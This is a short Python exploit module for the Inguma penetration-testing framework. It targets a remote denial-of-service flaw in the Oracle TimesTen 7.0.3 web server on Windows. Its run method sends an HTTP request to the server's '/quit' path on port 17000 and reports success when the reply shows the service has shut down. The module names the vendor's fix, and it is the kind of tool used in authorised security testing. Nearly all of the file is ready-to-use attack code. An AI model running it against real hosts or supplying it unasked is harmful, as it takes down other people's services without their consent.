#!/usr/bin/python

##      COraTt704.py
#       
#       Copyright 2010 Joxean Koret <joxeankoret@yahoo.es>
#       
#       This program is free software; you can redistribute it and/or modify
#       it under the terms of the GNU General Public License as published by
#       the Free Software Foundation; either version 2 of the License, or
#       (at your option) any later version.
#       
#       This program is distributed in the hope that it will be useful,
#       but WITHOUT ANY WARRANTY; without even the implied warranty of
#       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#       GNU General Public License for more details.
#       
#       You should have received a copy of the GNU General Public License
#       along with this program; if not, write to the Free Software
#       Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
#       MA 02110-1301, USA.

"""
Oracle TimesTen 7.03 Web Server DOS #4 for Inguma
"""

import urllib
from lib.libexploit import CIngumaModule

name = "oratt70dos4"
brief_description = "Oracle Times Ten 70 Remote DOS #4"
type = "exploit"
affects = ["Oracle TimesTen 7.0.3"]
description = """
Oracle TimesTen 7.0X is vulnerable to multiple remote denial of service conditions.
That one exploits a vulnerability found only in Windows versions.
"""
patch = "Fixed in version 7.0.5"
category = "dos"
discoverer = "Joxean Koret"
author = "Joxean Koret <joxeankoret@yahoo.es>"

class COraTt704(CIngumaModule):
    target = ""  # Main target
    port = 17000
    waitTime = 0
    timeout = 1
    exploitType = 1
    services = {}
    results = {}
    dict = None
    interactive = True

    def run(self):
        data = urllib.urlopen("http://" + self.target + ":" + str(self.port) + "/quit").read()
        if data.find("Bye now") > -1:
            print "[+] Exploit works"
            return True
        else:
            print "[!] Exploit doesn't work"
            return False

    def printSummary(self):
        pass
